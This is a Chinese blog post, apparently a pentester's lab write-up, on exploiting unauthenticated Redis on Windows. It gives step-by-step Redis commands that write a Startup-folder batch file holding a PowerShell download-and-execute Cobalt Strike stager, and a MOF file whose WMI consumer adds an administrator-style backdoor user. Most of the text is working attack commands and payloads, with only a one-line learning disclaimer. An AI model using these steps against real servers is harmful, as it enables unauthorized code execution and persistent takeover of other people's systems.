• Redis奇怪的姿势


    Redis奇怪的姿势

    写在前面

    之前渗透 摸鱼 时和小伙伴发现了一个redis,存在未授权,是win服务器但是没有路径,度娘了之后发现了这个姿势,特此学习记录一下。

    写入启动项

    环境搭建

    windows 07

    redis 2.X

    VPS + CS teamserver

    kali CSclient

    win7 启动redis

    redis-server redis.conf

    启动CS teamserver

    nohup ./teamserver ip password

    漏洞复现

    step0

    目前已知

    windows服务器 + redis未授权 + 无web路径

    因此写入启动项直接cs上线

    tips:

    windows开机启动目录一般为

    `C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/startup/`
    

    由于Start Menu有空格,需要双引号将路径包含。

    目标

    cs上线这台运行redis的win7机器

    step1

    添加一个Listener监听器

    image-20210224180541090

    选择 攻击-->钓鱼攻击-->Scripted Web Delivery(S),选择刚才添加的Listener

    image-20210224180807222

    image-20210224181008787

    点击 开始 生成powershell的shellcode

    image-20210224181125461

    powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://ip:88/a'))"

    将shellcode复制出来备用

    step2

    后面过程类似于向目标机器中利用redis写webshell

    这里有几个小坑点,一个是注意服务器的管理员名称,比如我的就是admin,其次是设置x的value时,因为redis的语法 使用 set key "value" 时需要双引号包裹value的值,而如果value内的payload也需要双引号时需要在value内的双引号前加反斜杠 转义双引号。

    192.168.124.158:6379> config set dir "C:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\PrograOK\startup\"
    192.168.124.158:6379> config set dbfilename test.bat
    OK
    192.168.124.158:6379> set x "
    
     powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://ip:88/a'))"
    
    "
    OK
    192.168.124.158:6379> save
    OK
    192.168.124.158:6379> 
    

    可以看到目标机器成功写入

    image-20210225132309163

    后续只需重启机器,此目标服务器就上线了。

    image-20210225133046869

    总结

    虽然需要重启算是比较鸡肋的一个点,但是在不知道路径的情况下提供了一个新的思路。

    需要的前提条件有:

    redis未授权/弱口令

    windows服务器(参考文章为win2003,我自己用的win7都可上线)

    有启动项目录相应写入权限

    重启服务器(可结合简单钓鱼等)

    写入MOF

    也是根据作者的文章,在无法重启时该怎么办。作者提供了一个思路,写入mof中,因为mof会每隔5s去监控进程的创建和死亡,功能已经类似于计划任务。在mof中有一段是vbs脚本,可以利用此脚本去添加管理员用户。

    MOF目录,此目录下的mof文件每隔5s执行一次

    c:/windows/system32/wbem/mof/
    

    step0

    准备MOF文件内容

    #pragma namespace("\.
    ootsubscription")
    instance of __EventFilter as $EventFilter
    {
    EventNamespace = "RootCimv2";
    Name = "filtP2";
    Query = "Select * From __InstanceModificationEvent "
    "Where TargetInstance Isa "Win32_LocalTime" "
    "And TargetInstance.Second = 5";
    QueryLanguage = "WQL";
    };
    instance of ActiveScriptEventConsumer as $Consumer
    {
    Name = "consPCSV2";
    ScriptingEngine = "JScript";
    ScriptText =
    "var WSH = new ActiveXObject("WScript.Shell")nWSH.run("net.exe user 3shine admin /add")";
    };
    instance of __FilterToConsumerBinding
    {
    Consumer = $Consumer;
    Filter = $EventFilter;
    };
    

    step1

    先执行如下命令

    (echo -e " "; cat mof.txt; echo -e " ") > foo.txt

    redis命令行执行

    config set dir "c:\windows\system32\wbem\mof"
    config set dbfilename 123.mof
    get x  //确认下是否将mof文件内容写入
    save
    

    之后就可以看到添加了一个新的3shine用户。

    参考文章

    https://www.anquanke.com/post/id/170360

    所有内容仅限于维护网络安全学习参考
  • 相关阅读:
    Java 报错 -source 1.5 中不支持 diamond 运算符
    MacBook Java开发环境的配置
    MacBook 版本控制工具
    版本控制工具 Git SourceTree SSH 连接码云
    接口 请求https接口
    快递 共享电子面单
    快递 已发货订单重新打印电子面单
    SQL Server 分部分项导入后 数据的修改
    Hive数据的存储以及在centos7下进行Mysql的安装
    Hive初体验
  • 原文地址:https://www.cnblogs.com/Zh1z3ven/p/14447096.html
Copyright © 2020-2023  润新知